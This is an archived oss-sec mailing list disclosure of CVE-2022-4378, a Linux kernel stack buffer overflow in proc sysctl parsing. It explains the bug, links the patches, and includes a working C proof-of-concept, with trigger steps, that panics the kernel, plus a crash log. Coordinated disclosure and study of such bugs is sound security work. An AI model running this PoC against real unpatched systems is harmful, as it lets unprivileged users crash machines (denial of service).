oss-sec mailing list archives
CVE-2022-4378: Linux kernel stack-based buffer overflow
From: Kyle Zeng <zengyhkyle () gmail com>
Date: Fri, 9 Dec 2022 09:11:25 -0700
Hi there, I recently found a stack-based buffer overflow in the Linux kernel, which can cause DOS and is potentially exploitable. This bug affects the following kernel versions: latest, 6.0, 5.15, 5.10, 5.4, 4.19, 4.14, and 4.9. I already contacted security () kernel org and helped them patch the vulnerable kernel versions. # Vulnerability The vulnerability is caused by a missing check on user input. More specifically, __do_proc_dointvec function has the following snippet: ~~~ if (write) { ...... if (left > PAGE_SIZE - 1) left = PAGE_SIZE - 1; p = buffer; } ...... if (write) { left -= proc_skip_spaces(&p); ~~~ In this snippet, `buffer` and `p` represent a buffer containing user-supplied input and it can contain more than 1 page of data. It first truncates user input to 1 page (by marking number of bytes `left` as 1 page). However, in a later call to `proc_skip_spaces` (a function that assumes the argument is a NULL-terminated string), it forgets the "up to 1 page" limit, processes all user input, and calculates how many leading spaces are there in the user input. In the buffer contains more than 1 page of spaces, `left` will be set to a negative value. The negative value will then be passed to `proc_get_long` and the least significant 4 bytes will be used as length for memcpy that copies data to kernel stack, causing stack-based buffer overflow: (the check on `len` won't work because `len` is signed) ~~~ static int proc_get_long(...) { char tmp[TMPBUFLEN]; int len = *size; if (len > TMPBUFLEN - 1) len = TMPBUFLEN - 1; memcpy(tmp, *buf, len); ...... } ~~~ # Patch The patch consists of two parts: 1. refactor `proc_skip_spaces`, instead of assuming the argument is a NULL-terminated string, it now will process data up to a limit. The patch can be found here: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=bce9332220bd677d83b19d21502776ad555a0e73 2. fix the signness issue in `len`: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=e6cfaf34be9fcd1a8285a294e18986bfc41a409c # Trigger The bug is triggerable by non-root users if they have access to user-namespace. A proof-of-concept crash program that causes kernel panic is attached. To run the POC, you need net namespace. In other words, you can trigger the bug using the following command: `unshare -rn` and then `./poc`. Best, Kyle Zeng =========================================== #include <stdio.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/mman.h> int main(void) { int fd = open("/proc/sys/net/ipv4/tcp_rmem", O_WRONLY); void *a = mmap(NULL, 0x2000, PROT_READ|PROT_WRITE, MAP_ANON|MAP_PRIVATE, -1, 0); memset(a, '\x09', 0x2000); write(fd, a, 0x2000); return 0; } ============================================ [ 7.150435] BUG: stack guard page was hit at 00000000eea91c87 (stack is 00000000fdd90d6b..000000009d81213d) [ 7.152330] kernel stack overflow (page fault): 0000 [#1] SMP NOPTI [ 7.153467] CPU: 3 PID: 476 Comm: poc Not tainted 5.10.157 #37 [ 7.154815] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014 [ 7.156633] RIP: 0010:memcpy_erms+0x6/0x10 [ 7.157118] Code: cc cc cc cc eb 1e 0f 1f 00 48 89 f8 48 89 d1 48 c1 e9 03 83 e2 07 f3 48 a5 89 d1 f3 a4 c3 66 0f 1f 44 00 00 48 89 f8 48 89 d1 <f3> a4 c3 0f 1f 80 00 00 00 00 48 89 f8 48 83 fa 20 72 7e 40 38 fe [ 7.158177] RSP: 0018:ffffc90000823c68 EFLAGS: 00010282 [ 7.158488] RAX: ffffc90000823ca0 RBX: ffffffffffffefff RCX: ffffffffffffec9f [ 7.158932] RDX: ffffffffffffefff RSI: ffff888007d7e360 RDI: ffffc90000824000 [ 7.159347] RBP: ffffc90000823d00 R08: ffffffff824158b3 R09: 0000000000000000 [ 7.159802] R10: ffffc90000823eb8 R11: ffffffff810fb290 R12: ffffc90000823d58 [ 7.160201] R13: ffffc90000823d47 R14: ffffc90000823ca0 R15: ffffffffffffefff [ 7.160603] FS: 0000000001a533c0(0000) GS:ffff88803ed80000(0000) knlGS:0000000000000000 [ 7.161053] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 7.161373] CR2: ffffc90000824000 CR3: 0000000007f3e006 CR4: 0000000000770ee0 [ 7.161769] PKRU: 55555554 [ 7.161924] Call Trace: [ 7.162076] proc_get_long+0x90/0x190 [ 7.162286] Modules linked in: [ 7.162463] ---[ end trace d4a913b02029fee9 ]--- [ 7.162722] RIP: 0010:memcpy_erms+0x6/0x10 [ 7.162952] Code: cc cc cc cc eb 1e 0f 1f 00 48 89 f8 48 89 d1 48 c1 e9 03 83 e2 07 f3 48 a5 89 d1 f3 a4 c3 66 0f 1f 44 00 00 48 89 f8 48 89 d1 <f3> a4 c3 0f 1f 80 00 00 00 00 48 89 f8 48 83 fa 20 72 7e 40 38 fe [ 7.164044] RSP: 0018:ffffc90000823c68 EFLAGS: 00010282 [ 7.164370] RAX: ffffc90000823ca0 RBX: ffffffffffffefff RCX: ffffffffffffec9f [ 7.164780] RDX: ffffffffffffefff RSI: ffff888007d7e360 RDI: ffffc90000824000 [ 7.165188] RBP: ffffc90000823d00 R08: ffffffff824158b3 R09: 0000000000000000 [ 7.165595] R10: ffffc90000823eb8 R11: ffffffff810fb290 R12: ffffc90000823d58 [ 7.166002] R13: ffffc90000823d47 R14: ffffc90000823ca0 R15: ffffffffffffefff [ 7.166431] FS: 0000000001a533c0(0000) GS:ffff88803ed80000(0000) knlGS:0000000000000000 [ 7.166889] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 7.167218] CR2: ffffc90000824000 CR3: 0000000007f3e006 CR4: 0000000000770ee0 [ 7.167661] PKRU: 55555554 [ 7.167820] Kernel panic - not syncing: Fatal exception [ 7.168333] Kernel Offset: disabled [ 7.168544] Rebooting in 1000 seconds..
Current thread:
- CVE-2022-4378: Linux kernel stack-based buffer overflow Kyle Zeng (Dec 09)